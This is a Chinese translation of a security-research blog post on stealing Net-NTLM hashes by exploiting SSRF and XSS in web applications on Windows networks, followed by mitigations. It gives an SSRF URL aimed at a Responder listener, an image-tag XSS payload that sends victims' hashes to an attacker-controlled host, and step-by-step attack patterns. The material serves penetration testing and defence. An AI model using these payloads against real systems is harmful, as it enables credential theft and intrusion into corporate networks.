如何利用Web漏洞窃取NTLM哈希
导语：介绍 NTLM身份验证是运行Windows的企业网络中的一个标准事实。有很多很好理解的本地攻击方法，利用Windows执行自动NTLM身份验证的方式，滥用此功能无疑是每个渗透测试人员和红队的都会操作的事情。 在Blaze的信息安全部门，我们最近花了
介绍
NTLM身份验证是运行Windows的企业网络中的一个标准事实。有很多很好理解的本地攻击方法，利用Windows执行自动NTLM身份验证的方式，滥用此功能无疑是每个渗透测试人员和红队的都会操作的事情。
在Blaze的信息安全部门，我们最近花了一些时间研究如何使用远程向量来滥用此功能，特别是从Web应用程序漏洞的角度来看。
我们的目标是讨论如何将服务器端请求伪造（SSRF）和跨站点脚本（CSRF）等问题武装到窃取Net-NTLM哈希上，这对于进一步访问网络可能是非常有用的。
这篇文章假定读者熟悉这里阐述的一些概念，并且我会跳过关于NTLM身份验证的内部工作原理的几个技术细节，如何配置和使用捕获Net-NTLM哈希所需的工具，以及如何利用XSS和SSRF。
所有实验均由Blaze 信息安全团队在我们的实验室中完成，该实验室使用Windows 10裸机，Windows 7虚拟机和Ubuntu Linux作为认证服务器。
集成的Windows身份验证
在互联网企业环境中使用Windows的任何人都可能已经注意到，访问网络中的公司资源是毫无争议的，并且在许多情况下，除了初始的Windows域登录之外，不需要明确的身份验证来提示凭据。对于网络映射驱动器，内部网站等多项服务来说，情况也是如此。
Windows的 WinHTTP为开发人员提供了处理HTTP/1.1协议的高级API。除其他功能外，WinHTTP还可以通过协商NTLM，Kerberos和其他功能自动处理身份验证以访问受保护的资源。
基于Microsoft的浏览器Internet Explorer和Edge具有可信区域的概念：网络，本地网络，可信站点和受限站点。每个区域都有不同的安全级别和相关的限制。例如，对于网络区域网站，Internet Explorer将禁用XSS筛选器，运行ActiveX插件，执行自动登录，并且总体上具有比网络站点更少的安全控制。
默认情况下，当Web服务器具有受NTLM身份验证保护的资源时，如果网站位于公司网络内或在受信任的站点中列入白名单，Internet Explorer和Edge将自动执行身份验证，并遵守受信任区域的概念。
其他浏览器，如Mozilla Firefox和Google Chrome也支持自动NTLM登录。Chrome依靠与Internet Explorer相同的设置; 在Firefox的情况下，这个配置默认是不启用的，必须通过手动更改about:config。
Responder
由Laurent Gaffie撰写的Responder [1]是迄今为止，在每个渗透测试人员用于窃取不同形式的证书（包括Net-NTLM哈希）的最受欢迎的工具。
它通过设置几个模拟的恶意守护进程（如SQL服务器，FTP，HTTP和SMB服务器等）来直接提示凭据或模拟质询 – 响应验证过程并捕获客户端发送的必要哈希。
Responder也有能力攻击LLMNR，NBT-NS和mDNS等协议，但这些将不在本文中讨论。
通过Web应用程序漏洞进行滥用
最近，我们花了一些时间研究如何进一步武器化Web应用程序漏洞，以利用Windows在某些情况下可能响应NTLM哈希时遇到的问题，并进一步访问网络。
我们想描述Web应用程序中发现的两个常见漏洞，以及我们如何利用这些漏洞来窃取散列，拿到帐户，并立足于企业网络。
场景＃1：从SSRF到窃取哈希
SSRF漏洞通常用于将HTTP请求发送到其他服务器并扫描内部网络。事实证明，它也可以用来强制一个易受攻击的Web应用程序，使底层Windows服务器泄漏其NTLM散列。
我们把一个易受SSRF攻击的Flask应用程序放在一起，以便更好地说明问题。这个概念非常简单：它有一个参数URL，当任何站点传递给它时，无论是http://www.blazeinfosec.com还是http://intranet.corporate，它都会发送一个HTTP请求，资源并使用请求获取的内容将其回复给客户端。
这个易受攻击的Web应用程序依赖于Python的win32com模块。通过这个模块，可以调用一个使用原生WinHTTP.WinHTTPRequest.5.1发出HTTP请求的COM对象，并且由于SetAutoLoginPolicy设置为0，它将自动发送凭证。
有一点很重要，那就是某些框架的URL资源获取功能与Windows没有紧密集成，不会像本例那样执行自动登录。但是，Java的URLConnection（），也可能是其他的情况。
要利用此漏洞并获取用户的Net-NTLM哈希，只需浏览以下URL：
http://127.0.0.1:8000/?url=http://server_listening_responder
在后台没有任何交互，但发生了以下情况：
· Windows API将发送一个HTTP请求
· 服务器（在这种情况下，是Responder）将发送标题WWW-Authenticate：NTLM，提示它使用NTLM进行身份验证
· 客户端（在这种情况下，运行在服务器上的易受攻击的应用程序）将对挑战作出反应，攻击者将抓取服务器的Net-NTLM哈希
最终的结果是对手成功捕获了Net-NTLM证书：
即使Net-NTLM哈希不能用于Pass-the-Hash攻击，与纯粹的NTLM哈希不同，它们可以通过使用诸如hashcat之类的现成工具进行中继或破解：
场景＃2：XSS：alert(1)很无聊，让我们来利用XSS获取一些Net-NTLM哈希值
如前面所述的，当Web服务器提示Internet Explorer和Edge for NTLM凭据时，在默认配置下，它将执行质询 – 响应身份验证过程，并将登录用户的哈希发送到请求服务器，前提是该站点的域名位于企业内部网或存在于可信站点列表中。
以下是Internet Explorer在Intranet站点中自动登录时的默认配置：
很多时候，企业将企业域名列为网络的可信站点，如下例所示：
这意味着，如果你正在执行对在网络中运行的Web应用程序的渗透测试，并且发现跨站点脚本，那么你很有可能利用这个无用的漏洞进行哈希窃取。
通过诱使公司环境中的任何人浏览包含以下HTML代码的页面：
<html> <img src="http://hostname_to_internal_responder"> </html>
如果运行响应程序的HTTP服务器位于网络中，并且其主机名或其子域通常标记为受信任，Internet Explorer和Edge将自动发送哈希值。
以下步骤描述了利用XSS窃取NTLM哈希的攻击模式：
· 步骤1：在本地网络中设置以HTTP模式运行的Responder – 通常情况下，你将在公司网络下为你的IP提供反向DNS，这意味着你将拥有一个主机名。
· 第2步：在XSS有效载荷中输入一些东西<img src="http://hostname_to_internal_responder">
· 步骤3：等待不知情的受害者浏览受XSS影响的页面 – 如果是存储型XSS，则效果更好
· 第4步：捕获哈希
通常，企业组织还将其子域名所服务的所有内容标记为可信。例如，如果将* .blazeinfosec.com列入白名单，只需要对* .blazeinfosec.com中的一台服务器进行入侵攻击，即可运行Responder，稍后可通过此向量来窃取公司网络中的用户的哈希值。
如果客户端尝试使用NTLM身份验证连接到HTTP服务器，但主机名不在Internet Explorer或Edge的任何可信列表中，则会提示客户端输入凭证，如下面的截图所示：
缓解风险
这篇文章中所描述的问题在一段时间内都是众所周知的，实际上是Windows的设计所决定的。NTLM认证自从早期就以这种方式运作，其中一些漏洞已经在20年前被讨论过了，只是大家没有意识到它的风险。
但是，有不同的方法可以减少Windows不安全行为带来的影响。
在注册表项
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaMSV1_0
中将RestrictSendingNTLMTraffic的值设置为2，可以减少这种风险的暴露，因为当服务器提出质询时，Windows将不再发送NTLMv1或NTLMv2哈希，无论是合法的请求还是攻击请求。
但是，重要的是要考虑这可能会破坏正常功能，特别是在大量使用NTLM进行自动登录的公司网络中。
在与SSRF相关的场景中，建议使用不执行自动NTLM身份验证的HTTP库。减少这种风险的另一个想法是在企业代理中制定规则，防止与网络边界之外的服务器进行NTLM身份验证协商。
结论
NTLM身份验证可以为依赖Windows和其他Microsoft产品的企业组织带来多种好处。单一登录功能在访问不同的公司系统时提供了无缝连接的用户体验，提高了用户的工作效率并减少了不断进行身份验证的负担。
虽然如此，尽管NTLM认证已经有二十多年了，但仍然存在着与NTLM认证有关的安全风险。
对于渗透测试人员来说，每当你找到一个SSRF时，可能值得你把它指向一个运行Responder监听器的服务器。总是有机会获得NTLMv1或NTLMv2哈希值，并深入到目标网络中。
开发人员和安全防御人员不应低估XSS在内部应用程序中的影响。在内部应用程序中重新使用包含XSS的WONT_FIX票据的bug跟踪器可能是一个不错的主意，并且重新考虑让它无法解决，因为其影响可能比简单的弹出框或会话cookie被盗更大。
将跨站脚本等无聊的漏洞利用到企业网络的实际立足点总是不错的想法。
参考
[1] https://github.com/lgandx/Responder
[2] https://msdn.microsoft.com/en-us/library/ms775123%28v=vs.85%29.aspx
[3] https://github.com/blazeinfosec/ssrf-ntlm